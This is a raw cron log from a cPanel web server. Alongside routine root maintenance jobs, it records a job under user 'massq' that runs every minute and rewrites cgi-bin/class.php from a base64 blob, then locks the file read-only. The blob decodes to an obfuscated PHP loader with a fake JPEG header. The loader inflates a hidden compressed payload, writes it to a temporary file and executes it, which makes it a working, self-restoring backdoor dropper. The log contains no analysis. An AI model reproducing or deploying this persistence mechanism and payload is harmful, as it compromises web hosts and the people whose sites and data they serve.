Nov  9 05:26:01 server CROND[6274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:27:01 server CROND[7085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:27:01 server CROND[7087]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:28:01 server CROND[7899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:29:01 server CROND[8382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:30:01 server CROND[9248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:30:01 server CROND[9253]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 05:30:01 server CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:30:01 server CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:30:01 server CROND[9256]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:31:01 server CROND[10132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:32:01 server CROND[10936]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:33:01 server CROND[11799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:34:01 server CROND[12655]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:35:01 server CROND[13567]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 05:35:01 server CROND[13571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:35:01 server CROND[13572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:35:01 server CROND[13576]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 05:35:02 server CROND[13570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:36:01 server CROND[14426]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:37:01 server CROND[14702]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:38:01 server CROND[15358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
